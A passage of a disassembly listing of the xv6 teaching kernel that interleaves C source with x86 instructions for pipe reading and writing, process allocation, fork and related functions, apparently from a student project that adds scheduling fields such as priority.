<pipewrite+0xe0> 801035c4: 8b 45 0c mov 0xc(%ebp),%eax 801035c7: 8b 8b 38 02 00 00 mov 0x238(%ebx),%ecx while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full if(p->readopen == 0 || myproc()->killed){ release(&p->lock); return -1; } wakeup(&p->nread); 801035cd: 8d bb 34 02 00 00 lea 0x234(%ebx),%edi 801035d3: 89 45 e4 mov %eax,-0x1c(%ebp) 801035d6: 03 45 10 add 0x10(%ebp),%eax 801035d9: 89 45 e0 mov %eax,-0x20(%ebp) while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full 801035dc: 8b 83 34 02 00 00 mov 0x234(%ebx),%eax sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep 801035e2: 8d b3 38 02 00 00 lea 0x238(%ebx),%esi while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full 801035e8: 89 ca mov %ecx,%edx 801035ea: 05 00 02 00 00 add $0x200,%eax 801035ef: 39 c1 cmp %eax,%ecx 801035f1: 74 3b je 8010362e <pipewrite+0x8e> 801035f3: eb 63 jmp 80103658 <pipewrite+0xb8> 801035f5: 8d 76 00 lea 0x0(%esi),%esi if(p->readopen == 0 || myproc()->killed){ 801035f8: e8 93 03 00 00 call 80103990 <myproc> 801035fd: 8b 48 24 mov 0x24(%eax),%ecx 80103600: 85 c9 test %ecx,%ecx 80103602: 75 34 jne 80103638 <pipewrite+0x98> wakeup(&p->nread); 80103604: 83 ec 0c sub $0xc,%esp 80103607: 57 push %edi 80103608: e8 43 10 00 00 call 80104650 <wakeup> sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep 8010360d: 58 pop %eax 8010360e: 5a pop %edx 8010360f: 53 push %ebx 80103610: 56 push %esi 80103611: e8 3a 0d 00 00 call 80104350 <sleep> while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full 80103616: 8b 83 34 02 00 00 mov 0x234(%ebx),%eax 8010361c: 8b 93 38 02 00 00 mov 0x238(%ebx),%edx 80103622: 83 c4 10 add $0x10,%esp 80103625: 05 00 02 00 00 add $0x200,%eax 8010362a: 39 c2 cmp %eax,%edx 8010362c: 75 2a jne 80103658 <pipewrite+0xb8> if(p->readopen == 0 || myproc()->killed){ 8010362e: 8b 83 3c 02 00 00 mov 0x23c(%ebx),%eax 80103634: 85 c0 test %eax,%eax 80103636: 75 c0 jne 801035f8 <pipewrite+0x58> release(&p->lock); 80103638: 83 ec 0c sub $0xc,%esp 8010363b: 53 push %ebx 8010363c: e8 bf 15 00 00 call 80104c00 <release> return -1; 80103641: 83 c4 10 add $0x10,%esp 80103644: b8 ff ff ff ff mov $0xffffffff,%eax p->data[p->nwrite++ % PIPESIZE] = addr[i]; } wakeup(&p->nread); //DOC: pipewrite-wakeup1 release(&p->lock); return n; } 80103649: 8d 65 f4 lea -0xc(%ebp),%esp 8010364c: 5b pop %ebx 8010364d: 5e pop %esi 8010364e: 5f pop %edi 8010364f: 5d pop %ebp 80103650: c3 ret 80103651: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi p->data[p->nwrite++ % PIPESIZE] = addr[i]; 80103658: 8b 75 e4 mov -0x1c(%ebp),%esi 8010365b: 8d 4a 01 lea 0x1(%edx),%ecx 8010365e: 81 e2 ff 01 00 00 and $0x1ff,%edx 80103664: 89 8b 38 02 00 00 mov %ecx,0x238(%ebx) 8010366a: 0f b6 06 movzbl (%esi),%eax 8010366d: 83 c6 01 add $0x1,%esi 80103670: 89 75 e4 mov %esi,-0x1c(%ebp) 80103673: 88 44 13 34 mov %al,0x34(%ebx,%edx,1) for(i = 0; i < n; i++){ 80103677: 3b 75 e0 cmp -0x20(%ebp),%esi 8010367a: 0f 85 5c ff ff ff jne 801035dc <pipewrite+0x3c> wakeup(&p->nread); //DOC: pipewrite-wakeup1 80103680: 83 ec 0c sub $0xc,%esp 80103683: 8d 83 34 02 00 00 lea 0x234(%ebx),%eax 80103689: 50 push %eax 8010368a: e8 c1 0f 00 00 call 80104650 <wakeup> release(&p->lock); 8010368f: 89 1c 24 mov %ebx,(%esp) 80103692: e8 69 15 00 00 call 80104c00 <release> return n; 80103697: 8b 45 10 mov 0x10(%ebp),%eax 8010369a: 83 c4 10 add $0x10,%esp 8010369d: eb aa jmp 80103649 <pipewrite+0xa9> 8010369f: 90 nop 801036a0 <piperead>: int piperead(struct pipe *p, char *addr, int n) { 801036a0: f3 0f 1e fb endbr32 801036a4: 55 push %ebp 801036a5: 89 e5 mov %esp,%ebp 801036a7: 57 push %edi 801036a8: 56 push %esi 801036a9: 53 push %ebx 801036aa: 83 ec 18 sub $0x18,%esp 801036ad: 8b 75 08 mov 0x8(%ebp),%esi 801036b0: 8b 7d 0c mov 0xc(%ebp),%edi int i; acquire(&p->lock); 801036b3: 56 push %esi 801036b4: 8d 9e 34 02 00 00 lea 0x234(%esi),%ebx 801036ba: e8 81 14 00 00 call 80104b40 <acquire> while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty 801036bf: 8b 86 34 02 00 00 mov 0x234(%esi),%eax 801036c5: 83 c4 10 add $0x10,%esp 801036c8: 39 86 38 02 00 00 cmp %eax,0x238(%esi) 801036ce: 74 33 je 80103703 <piperead+0x63> 801036d0: eb 3b jmp 8010370d <piperead+0x6d> 801036d2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if(myproc()->killed){ 801036d8: e8 b3 02 00 00 call 80103990 <myproc> 801036dd: 8b 48 24 mov 0x24(%eax),%ecx 801036e0: 85 c9 test %ecx,%ecx 801036e2: 0f 85 88 00 00 00 jne 80103770 <piperead+0xd0> release(&p->lock); return -1; } sleep(&p->nread, &p->lock); //DOC: piperead-sleep 801036e8: 83 ec 08 sub $0x8,%esp 801036eb: 56 push %esi 801036ec: 53 push %ebx 801036ed: e8 5e 0c 00 00 call 80104350 <sleep> while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty 801036f2: 8b 86 38 02 00 00 mov 0x238(%esi),%eax 801036f8: 83 c4 10 add $0x10,%esp 801036fb: 39 86 34 02 00 00 cmp %eax,0x234(%esi) 80103701: 75 0a jne 8010370d <piperead+0x6d> 80103703: 8b 86 40 02 00 00 mov 0x240(%esi),%eax 80103709: 85 c0 test %eax,%eax 8010370b: 75 cb jne 801036d8 <piperead+0x38> } for(i = 0; i < n; i++){ //DOC: piperead-copy 8010370d: 8b 55 10 mov 0x10(%ebp),%edx 80103710: 31 db xor %ebx,%ebx 80103712: 85 d2 test %edx,%edx 80103714: 7f 28 jg 8010373e <piperead+0x9e> 80103716: eb 34 jmp 8010374c <piperead+0xac> 80103718: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 8010371f: 90 nop if(p->nread == p->nwrite) break; addr[i] = p->data[p->nread++ % PIPESIZE]; 80103720: 8d 48 01 lea 0x1(%eax),%ecx 80103723: 25 ff 01 00 00 and $0x1ff,%eax 80103728: 89 8e 34 02 00 00 mov %ecx,0x234(%esi) 8010372e: 0f b6 44 06 34 movzbl 0x34(%esi,%eax,1),%eax 80103733: 88 04 1f mov %al,(%edi,%ebx,1) for(i = 0; i < n; i++){ //DOC: piperead-copy 80103736: 83 c3 01 add $0x1,%ebx 80103739: 39 5d 10 cmp %ebx,0x10(%ebp) 8010373c: 74 0e je 8010374c <piperead+0xac> if(p->nread == p->nwrite) 8010373e: 8b 86 34 02 00 00 mov 0x234(%esi),%eax 80103744: 3b 86 38 02 00 00 cmp 0x238(%esi),%eax 8010374a: 75 d4 jne 80103720 <piperead+0x80> } wakeup(&p->nwrite); //DOC: piperead-wakeup 8010374c: 83 ec 0c sub $0xc,%esp 8010374f: 8d 86 38 02 00 00 lea 0x238(%esi),%eax 80103755: 50 push %eax 80103756: e8 f5 0e 00 00 call 80104650 <wakeup> release(&p->lock); 8010375b: 89 34 24 mov %esi,(%esp) 8010375e: e8 9d 14 00 00 call 80104c00 <release> return i; 80103763: 83 c4 10 add $0x10,%esp } 80103766: 8d 65 f4 lea -0xc(%ebp),%esp 80103769: 89 d8 mov %ebx,%eax 8010376b: 5b pop %ebx 8010376c: 5e pop %esi 8010376d: 5f pop %edi 8010376e: 5d pop %ebp 8010376f: c3 ret release(&p->lock); 80103770: 83 ec 0c sub $0xc,%esp return -1; 80103773: bb ff ff ff ff mov $0xffffffff,%ebx release(&p->lock); 80103778: 56 push %esi 80103779: e8 82 14 00 00 call 80104c00 <release> return -1; 8010377e: 83 c4 10 add $0x10,%esp } 80103781: 8d 65 f4 lea -0xc(%ebp),%esp 80103784: 89 d8 mov %ebx,%eax 80103786: 5b pop %ebx 80103787: 5e pop %esi 80103788: 5f pop %edi 80103789: 5d pop %ebp 8010378a: c3 ret 8010378b: 66 90 xchg %ax,%ax 8010378d: 66 90 xchg %ax,%ax 8010378f: 90 nop 80103790 <allocproc>: // If found, change state to EMBRYO and initialize // state required to run in the kernel. // Otherwise return 0. static struct proc* allocproc(void) { 80103790: 55 push %ebp 80103791: 89 e5 mov %esp,%ebp 80103793: 53 push %ebx struct proc *p; char *sp; acquire(&ptable.lock); for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103794: bb 74 42 11 80 mov $0x80114274,%ebx { 80103799: 83 ec 10 sub $0x10,%esp acquire(&ptable.lock); 8010379c: 68 40 42 11 80 push $0x80114240 801037a1: e8 9a 13 00 00 call 80104b40 <acquire> 801037a6: 83 c4 10 add $0x10,%esp 801037a9: eb 17 jmp 801037c2 <allocproc+0x32> 801037ab: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801037af: 90 nop for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 801037b0: 81 c3 b4 00 00 00 add $0xb4,%ebx 801037b6: 81 fb 74 6f 11 80 cmp $0x80116f74,%ebx 801037bc: 0f 84 9e 00 00 00 je 80103860 <allocproc+0xd0> if(p->state == UNUSED) 801037c2: 8b 43 0c mov 0xc(%ebx),%eax 801037c5: 85 c0 test %eax,%eax 801037c7: 75 e7 jne 801037b0 <allocproc+0x20> release(&ptable.lock); return 0; found: p->state = EMBRYO; p->pid = nextpid++; 801037c9: a1 18 b0 10 80 mov 0x8010b018,%eax } #endif // my insert ends release(&ptable.lock); 801037ce: 83 ec 0c sub $0xc,%esp p->state = EMBRYO; 801037d1: c7 43 0c 01 00 00 00 movl $0x1,0xc(%ebx) p->rtime = 0; 801037d8: c7 83 84 00 00 00 00 movl $0x0,0x84(%ebx) 801037df: 00 00 00 p->pid = nextpid++; 801037e2: 8d 50 01 lea 0x1(%eax),%edx 801037e5: 89 43 10 mov %eax,0x10(%ebx) p->ctime = ticks; 801037e8: a1 c0 77 11 80 mov 0x801177c0,%eax p->etime = 0; 801037ed: c7 83 80 00 00 00 00 movl $0x0,0x80(%ebx) 801037f4: 00 00 00 p->ctime = ticks; 801037f7: 89 43 7c mov %eax,0x7c(%ebx) p->priority = 60; 801037fa: c7 83 88 00 00 00 3c movl $0x3c,0x88(%ebx) 80103801: 00 00 00 release(&ptable.lock); 80103804: 68 40 42 11 80 push $0x80114240 p->pid = nextpid++; 80103809: 89 15 18 b0 10 80 mov %edx,0x8010b018 release(&ptable.lock); 8010380f: e8 ec 13 00 00 call 80104c00 <release> // Allocate kernel stack. if((p->kstack = kalloc()) == 0){ 80103814: e8 17 ee ff ff call 80102630 <kalloc> 80103819: 83 c4 10 add $0x10,%esp 8010381c: 89 43 08 mov %eax,0x8(%ebx) 8010381f: 85 c0 test %eax,%eax 80103821: 74 56 je 80103879 <allocproc+0xe9> return 0; } sp = p->kstack + KSTACKSIZE; // Leave room for trap frame. sp -= sizeof *p->tf; 80103823: 8d 90 b4 0f 00 00 lea 0xfb4(%eax),%edx sp -= 4; *(uint*)sp = (uint)trapret; sp -= sizeof *p->context; p->context = (struct context*)sp; memset(p->context, 0, sizeof *p->context); 80103829: 83 ec 04 sub $0x4,%esp sp -= sizeof *p->context; 8010382c: 05 9c 0f 00 00 add $0xf9c,%eax sp -= sizeof *p->tf; 80103831: 89 53 18 mov %edx,0x18(%ebx) *(uint*)sp = (uint)trapret; 80103834: c7 40 14 6f 5f 10 80 movl $0x80105f6f,0x14(%eax) p->context = (struct context*)sp; 8010383b: 89 43 1c mov %eax,0x1c(%ebx) memset(p->context, 0, sizeof *p->context); 8010383e: 6a 14 push $0x14 80103840: 6a 00 push $0x0 80103842: 50 push %eax 80103843: e8 08 14 00 00 call 80104c50 <memset> p->context->eip = (uint)forkret; 80103848: 8b 43 1c mov 0x1c(%ebx),%eax return p; 8010384b: 83 c4 10 add $0x10,%esp p->context->eip = (uint)forkret; 8010384e: c7 40 10 90 38 10 80 movl $0x80103890,0x10(%eax) } 80103855: 89 d8 mov %ebx,%eax 80103857: 8b 5d fc mov -0x4(%ebp),%ebx 8010385a: c9 leave 8010385b: c3 ret 8010385c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi release(&ptable.lock); 80103860: 83 ec 0c sub $0xc,%esp return 0; 80103863: 31 db xor %ebx,%ebx release(&ptable.lock); 80103865: 68 40 42 11 80 push $0x80114240 8010386a: e8 91 13 00 00 call 80104c00 <release> } 8010386f: 89 d8 mov %ebx,%eax return 0; 80103871: 83 c4 10 add $0x10,%esp } 80103874: 8b 5d fc mov -0x4(%ebp),%ebx 80103877: c9 leave 80103878: c3 ret p->state = UNUSED; 80103879: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx) return 0; 80103880: 31 db xor %ebx,%ebx } 80103882: 89 d8 mov %ebx,%eax 80103884: 8b 5d fc mov -0x4(%ebp),%ebx 80103887: c9 leave 80103888: c3 ret 80103889: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80103890 <forkret>: // A fork child's very first scheduling by scheduler() // will swtch here. "Return" to user space. void forkret(void) { 80103890: f3 0f 1e fb endbr32 80103894: 55 push %ebp 80103895: 89 e5 mov %esp,%ebp 80103897: 83 ec 14 sub $0x14,%esp static int first = 1; // Still holding ptable.lock from scheduler. release(&ptable.lock); 8010389a: 68 40 42 11 80 push $0x80114240 8010389f: e8 5c 13 00 00 call 80104c00 <release> if (first) { 801038a4: a1 00 b0 10 80 mov 0x8010b000,%eax 801038a9: 83 c4 10 add $0x10,%esp 801038ac: 85 c0 test %eax,%eax 801038ae: 75 08 jne 801038b8 <forkret+0x28> iinit(ROOTDEV); initlog(ROOTDEV); } // Return to "caller", actually trapret (see allocproc). } 801038b0: c9 leave 801038b1: c3 ret 801038b2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi first = 0; 801038b8: c7 05 00 b0 10 80 00 movl $0x0,0x8010b000 801038bf: 00 00 00 iinit(ROOTDEV); 801038c2: 83 ec 0c sub $0xc,%esp 801038c5: 6a 01 push $0x1 801038c7: e8 74 dc ff ff call 80101540 <iinit> initlog(ROOTDEV); 801038cc: c7 04 24 01 00 00 00 movl $0x1,(%esp) 801038d3: e8 b8 f3 ff ff call 80102c90 <initlog> } 801038d8: 83 c4 10 add $0x10,%esp 801038db: c9 leave 801038dc: c3 ret 801038dd: 8d 76 00 lea 0x0(%esi),%esi 801038e0 <pinit>: { 801038e0: f3 0f 1e fb endbr32 801038e4: 55 push %ebp 801038e5: 89 e5 mov %esp,%ebp 801038e7: 83 ec 10 sub $0x10,%esp initlock(&ptable.lock, "ptable"); 801038ea: 68 20 7d 10 80 push $0x80107d20 801038ef: 68 40 42 11 80 push $0x80114240 801038f4: e8 c7 10 00 00 call 801049c0 <initlock> } 801038f9: 83 c4 10 add $0x10,%esp 801038fc: c9 leave 801038fd: c3 ret 801038fe: 66 90 xchg %ax,%ax 80103900 <mycpu>: { 80103900: f3 0f 1e fb endbr32 80103904: 55 push %ebp 80103905: 89 e5 mov %esp,%ebp 80103907: 56 push %esi 80103908: 53 push %ebx asm volatile("pushfl; popl %0" : "=r" (eflags)); 80103909: 9c pushf 8010390a: 58 pop %eax if(readeflags()&FL_IF) 8010390b: f6 c4 02 test $0x2,%ah 8010390e: 75 4a jne 8010395a <mycpu+0x5a> apicid = lapicid(); 80103910: e8 8b ef ff ff call 801028a0 <lapicid> for (i = 0; i < ncpu; ++i) { 80103915: 8b 35 00 3d 11 80 mov 0x80113d00,%esi apicid = lapicid(); 8010391b: 89 c3 mov %eax,%ebx for (i = 0; i < ncpu; ++i) { 8010391d: 85 f6 test %esi,%esi 8010391f: 7e 2c jle 8010394d <mycpu+0x4d> 80103921: 31 d2 xor %edx,%edx 80103923: eb 0a jmp 8010392f <mycpu+0x2f> 80103925: 8d 76 00 lea 0x0(%esi),%esi 80103928: 83 c2 01 add $0x1,%edx 8010392b: 39 f2 cmp %esi,%edx 8010392d: 74 1e je 8010394d <mycpu+0x4d> if (cpus[i].apicid == apicid) 8010392f: 69 ca b0 00 00 00 imul $0xb0,%edx,%ecx 80103935: 0f b6 81 80 37 11 80 movzbl -0x7feec880(%ecx),%eax 8010393c: 39 d8 cmp %ebx,%eax 8010393e: 75 e8 jne 80103928 <mycpu+0x28> } 80103940: 8d 65 f8 lea -0x8(%ebp),%esp return &cpus[i]; 80103943: 8d 81 80 37 11 80 lea -0x7feec880(%ecx),%eax } 80103949: 5b pop %ebx 8010394a: 5e pop %esi 8010394b: 5d pop %ebp 8010394c: c3 ret panic("unknown apicid\n"); 8010394d: 83 ec 0c sub $0xc,%esp 80103950: 68 27 7d 10 80 push $0x80107d27 80103955: e8 36 ca ff ff call 80100390 <panic> panic("mycpu called with interrupts enabled\n"); 8010395a: 83 ec 0c sub $0xc,%esp 8010395d: 68 30 7e 10 80 push $0x80107e30 80103962: e8 29 ca ff ff call 80100390 <panic> 80103967: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 8010396e: 66 90 xchg %ax,%ax 80103970 <cpuid>: cpuid() { 80103970: f3 0f 1e fb endbr32 80103974: 55 push %ebp 80103975: 89 e5 mov %esp,%ebp 80103977: 83 ec 08 sub $0x8,%esp return mycpu()-cpus; 8010397a: e8 81 ff ff ff call 80103900 <mycpu> } 8010397f: c9 leave return mycpu()-cpus; 80103980: 2d 80 37 11 80 sub $0x80113780,%eax 80103985: c1 f8 04 sar $0x4,%eax 80103988: 69 c0 a3 8b 2e ba imul $0xba2e8ba3,%eax,%eax } 8010398e: c3 ret 8010398f: 90 nop 80103990 <myproc>: myproc(void) { 80103990: f3 0f 1e fb endbr32 80103994: 55 push %ebp 80103995: 89 e5 mov %esp,%ebp 80103997: 53 push %ebx 80103998: 83 ec 04 sub $0x4,%esp pushcli(); 8010399b: e8 a0 10 00 00 call 80104a40 <pushcli> c = mycpu(); 801039a0: e8 5b ff ff ff call 80103900 <mycpu> p = c->proc; 801039a5: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx popcli(); 801039ab: e8 e0 10 00 00 call 80104a90 <popcli> } 801039b0: 83 c4 04 add $0x4,%esp 801039b3: 89 d8 mov %ebx,%eax 801039b5: 5b pop %ebx 801039b6: 5d pop %ebp 801039b7: c3 ret 801039b8: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801039bf: 90 nop 801039c0 <userinit>: { 801039c0: f3 0f 1e fb endbr32 801039c4: 55 push %ebp 801039c5: 89 e5 mov %esp,%ebp 801039c7: 53 push %ebx 801039c8: 83 ec 04 sub $0x4,%esp p = allocproc(); 801039cb: e8 c0 fd ff ff call 80103790 <allocproc> 801039d0: 89 c3 mov %eax,%ebx initproc = p; 801039d2: a3 b8 b5 10 80 mov %eax,0x8010b5b8 if((p->pgdir = setupkvm()) == 0) 801039d7: e8 64 3b 00 00 call 80107540 <setupkvm> 801039dc: 89 43 04 mov %eax,0x4(%ebx) 801039df: 85 c0 test %eax,%eax 801039e1: 0f 84 bd 00 00 00 je 80103aa4 <userinit+0xe4> inituvm(p->pgdir, _binary_initcode_start, (int)_binary_initcode_size); 801039e7: 83 ec 04 sub $0x4,%esp 801039ea: 68 2c 00 00 00 push $0x2c 801039ef: 68 60 b4 10 80 push $0x8010b460 801039f4: 50 push %eax 801039f5: e8 16 38 00 00 call 80107210 <inituvm> memset(p->tf, 0, sizeof(*p->tf)); 801039fa: 83 c4 0c add $0xc,%esp p->sz = PGSIZE; 801039fd: c7 03 00 10 00 00 movl $0x1000,(%ebx) memset(p->tf, 0, sizeof(*p->tf)); 80103a03: 6a 4c push $0x4c 80103a05: 6a 00 push $0x0 80103a07: ff 73 18 pushl 0x18(%ebx) 80103a0a: e8 41 12 00 00 call 80104c50 <memset> p->tf->cs = (SEG_UCODE << 3) | DPL_USER; 80103a0f: 8b 43 18 mov 0x18(%ebx),%eax 80103a12: ba 1b 00 00 00 mov $0x1b,%edx safestrcpy(p->name, "initcode", sizeof(p->name)); 80103a17: 83 c4 0c add $0xc,%esp p->tf->ds = (SEG_UDATA << 3) | DPL_USER; 80103a1a: b9 23 00 00 00 mov $0x23,%ecx p->tf->cs = (SEG_UCODE << 3) | DPL_USER; 80103a1f: 66 89 50 3c mov %dx,0x3c(%eax) p->tf->ds = (SEG_UDATA << 3) | DPL_USER; 80103a23: 8b 43 18 mov 0x18(%ebx),%eax 80103a26: 66 89 48 2c mov %cx,0x2c(%eax) p->tf->es = p->tf->ds; 80103a2a: 8b 43 18 mov 0x18(%ebx),%eax 80103a2d: 0f b7 50 2c movzwl 0x2c(%eax),%edx 80103a31: 66 89 50 28 mov %dx,0x28(%eax) p->tf->ss = p->tf->ds; 80103a35: 8b 43 18 mov 0x18(%ebx),%eax 80103a38: 0f b7 50 2c movzwl 0x2c(%eax),%edx 80103a3c: 66 89 50 48 mov %dx,0x48(%eax) p->tf->eflags = FL_IF; 80103a40: 8b 43 18 mov 0x18(%ebx),%eax 80103a43: c7 40 40 00 02 00 00 movl $0x200,0x40(%eax) p->tf->esp = PGSIZE; 80103a4a: 8b 43 18 mov 0x18(%ebx),%eax 80103a4d: c7 40 44 00 10 00 00 movl $0x1000,0x44(%eax) p->tf->eip = 0; // beginning of initcode.S 80103a54: 8b 43 18 mov 0x18(%ebx),%eax 80103a57: c7 40 38 00 00 00 00 movl $0x0,0x38(%eax) safestrcpy(p->name, "initcode", sizeof(p->name)); 80103a5e: 8d 43 6c lea 0x6c(%ebx),%eax 80103a61: 6a 10 push $0x10 80103a63: 68 50 7d 10 80 push $0x80107d50 80103a68: 50 push %eax 80103a69: e8 a2 13 00 00 call 80104e10 <safestrcpy> p->cwd = namei("/"); 80103a6e: c7 04 24 59 7d 10 80 movl $0x80107d59,(%esp) 80103a75: e8 b6 e5 ff ff call 80102030 <namei> 80103a7a: 89 43 68 mov %eax,0x68(%ebx) acquire(&ptable.lock); 80103a7d: c7 04 24 40 42 11 80 movl $0x80114240,(%esp) 80103a84: e8 b7 10 00 00 call 80104b40 <acquire> p->state = RUNNABLE; 80103a89: c7 43 0c 03 00 00 00 movl $0x3,0xc(%ebx) release(&ptable.lock); 80103a90: c7 04 24 40 42 11 80 movl $0x80114240,(%esp) 80103a97: e8 64 11 00 00 call 80104c00 <release> } 80103a9c: 8b 5d fc mov -0x4(%ebp),%ebx 80103a9f: 83 c4 10 add $0x10,%esp 80103aa2: c9 leave 80103aa3: c3 ret panic("userinit: out of memory?"); 80103aa4: 83 ec 0c sub $0xc,%esp 80103aa7: 68 37 7d 10 80 push $0x80107d37 80103aac: e8 df c8 ff ff call 80100390 <panic> 80103ab1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80103ab8: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80103abf: 90 nop 80103ac0 <growproc>: { 80103ac0: f3 0f 1e fb endbr32 80103ac4: 55 push %ebp 80103ac5: 89 e5 mov %esp,%ebp 80103ac7: 56 push %esi 80103ac8: 53 push %ebx 80103ac9: 8b 75 08 mov 0x8(%ebp),%esi pushcli(); 80103acc: e8 6f 0f 00 00 call 80104a40 <pushcli> c = mycpu(); 80103ad1: e8 2a fe ff ff call 80103900 <mycpu> p = c->proc; 80103ad6: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx popcli(); 80103adc: e8 af 0f 00 00 call 80104a90 <popcli> sz = curproc->sz; 80103ae1: 8b 03 mov (%ebx),%eax if(n > 0){ 80103ae3: 85 f6 test %esi,%esi 80103ae5: 7f 19 jg 80103b00 <growproc+0x40> } else if(n < 0){ 80103ae7: 75 37 jne 80103b20 <growproc+0x60> switchuvm(curproc); 80103ae9: 83 ec 0c sub $0xc,%esp curproc->sz = sz; 80103aec: 89 03 mov %eax,(%ebx) switchuvm(curproc); 80103aee: 53 push %ebx 80103aef: e8 0c 36 00 00 call 80107100 <switchuvm> return 0; 80103af4: 83 c4 10 add $0x10,%esp 80103af7: 31 c0 xor %eax,%eax } 80103af9: 8d 65 f8 lea -0x8(%ebp),%esp 80103afc: 5b pop %ebx 80103afd: 5e pop %esi 80103afe: 5d pop %ebp 80103aff: c3 ret if((sz = allocuvm(curproc->pgdir, sz, sz + n)) == 0) 80103b00: 83 ec 04 sub $0x4,%esp 80103b03: 01 c6 add %eax,%esi 80103b05: 56 push %esi 80103b06: 50 push %eax 80103b07: ff 73 04 pushl 0x4(%ebx) 80103b0a: e8 51 38 00 00 call 80107360 <allocuvm> 80103b0f: 83 c4 10 add $0x10,%esp 80103b12: 85 c0 test %eax,%eax 80103b14: 75 d3 jne 80103ae9 <growproc+0x29> return -1; 80103b16: b8 ff ff ff ff mov $0xffffffff,%eax 80103b1b: eb dc jmp 80103af9 <growproc+0x39> 80103b1d: 8d 76 00 lea 0x0(%esi),%esi if((sz = deallocuvm(curproc->pgdir, sz, sz + n)) == 0) 80103b20: 83 ec 04 sub $0x4,%esp 80103b23: 01 c6 add %eax,%esi 80103b25: 56 push %esi 80103b26: 50 push %eax 80103b27: ff 73 04 pushl 0x4(%ebx) 80103b2a: e8 61 39 00 00 call 80107490 <deallocuvm> 80103b2f: 83 c4 10 add $0x10,%esp 80103b32: 85 c0 test %eax,%eax 80103b34: 75 b3 jne 80103ae9 <growproc+0x29> 80103b36: eb de jmp 80103b16 <growproc+0x56> 80103b38: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80103b3f: 90 nop 80103b40 <fork>: { 80103b40: f3 0f 1e fb endbr32 80103b44: 55 push %ebp 80103b45: 89 e5 mov %esp,%ebp 80103b47: 57 push %edi 80103b48: 56 push %esi 80103b49: 53 push %ebx 80103b4a: 83 ec 1c sub $0x1c,%esp pushcli(); 80103b4d: e8 ee 0e 00 00 call 80104a40 <pushcli> c = mycpu(); 80103b52: e8 a9 fd ff ff call 80103900 <mycpu> p = c->proc; 80103b57: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx popcli(); 80103b5d: e8 2e 0f 00 00 call 80104a90 <popcli> if((np = allocproc()) == 0){ 80103b62: e8 29 fc ff ff call 80103790 <allocproc> 80103b67: 89 45 e4 mov %eax,-0x1c(%ebp) 80103b6a: 85 c0 test %eax,%eax 80103b6c: 0f 84 bb 00 00 00 je 80103c2d <fork+0xed> if((np->pgdir = copyuvm(curproc->pgdir, curproc->sz)) == 0){ 80103b72: 83 ec 08 sub $0x8,%esp 80103b75: ff 33 pushl (%ebx) 80103b77: 89 c7 mov %eax,%edi 80103b79: ff 73 04 pushl 0x4(%ebx) 80103b7c: e8 8f 3a 00 00 call 80107610 <copyuvm> 80103b81: 83 c4 10 add $0x10,%esp 80103b84: 89 47 04 mov %eax,0x4(%edi) 80103b87: 85 c0 test %eax,%eax 80103b89: 0f 84 a5 00 00 00 je 80103c34 <fork+0xf4> np->sz = curproc->sz; 80103b8f: 8b 03 mov (%ebx),%eax 80103b91: 8b 4d e4 mov -0x1c(%ebp),%ecx 80103b94: 89 01 mov %eax,(%ecx) *np->tf = *curproc->tf; 80103b96: 8b 79 18 mov 0x18(%ecx),%edi np->parent = curproc; 80103b99: 89 c8 mov %ecx,%eax 80103b9b: 89 59 14 mov %ebx,0x14(%ecx) *np->tf = *curproc->tf; 80103b9e: b9 13 00 00 00 mov $0x13,%ecx 80103ba3: 8b 73 18 mov 0x18(%ebx),%esi 80103ba6: f3 a5 rep movsl %ds:(%esi),%es:(%edi) for(i = 0; i < NOFILE; i++) 80103ba8: 31 f6 xor %esi,%esi np->tf->eax = 0; 80103baa: 8b 40 18 mov 0x18(%eax),%eax 80103bad: c7 40 1c 00 00 00 00 movl $0x0,0x1c(%eax) for(i = 0; i < NOFILE; i++) 80103bb4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(curproc->ofile[i]) 80103bb8: 8b 44 b3 28 mov 0x28(%ebx,%esi,4),%eax 80103bbc: 85 c0 test %eax,%eax 80103bbe: 74 13 je 80103bd3 <fork+0x93> np->ofile[i] = filedup(curproc->ofile[i]); 80103bc0: 83 ec 0c sub $0xc,%esp 80103bc3: 50 push %eax 80103bc4: e8 a7 d2 ff ff call 80100e70 <filedup> 80103bc9: 8b 55 e4 mov -0x1c(%ebp),%edx 80103bcc: 83 c4 10 add $0x10,%esp 80103bcf: 89 44 b2 28 mov %eax,0x28(%edx,%esi,4) for(i = 0; i < NOFILE; i++) 80103bd3: 83 c6 01 add $0x1,%esi 80103bd6: 83 fe 10 cmp $0x10,%esi 80103bd9: 75 dd jne 80103bb8 <fork+0x78> np->cwd = idup(curproc->cwd); 80103bdb: 83 ec 0c sub $0xc,%esp 80103bde: ff 73 68 pushl 0x68(%ebx) safestrcpy(np->name, curproc->name, sizeof(curproc->name)); 80103be1: 83 c3 6c add $0x6c,%ebx np->cwd = idup(curproc->cwd); 80103be4: e8 47 db ff ff call 80101730 <idup> 80103be9: 8b 7d e4 mov -0x1c(%ebp),%edi safestrcpy(np->name, curproc->name, sizeof(curproc->name)); 80103bec: 83 c4 0c add $0xc,%esp np->cwd = idup(curproc->cwd); 80103bef: 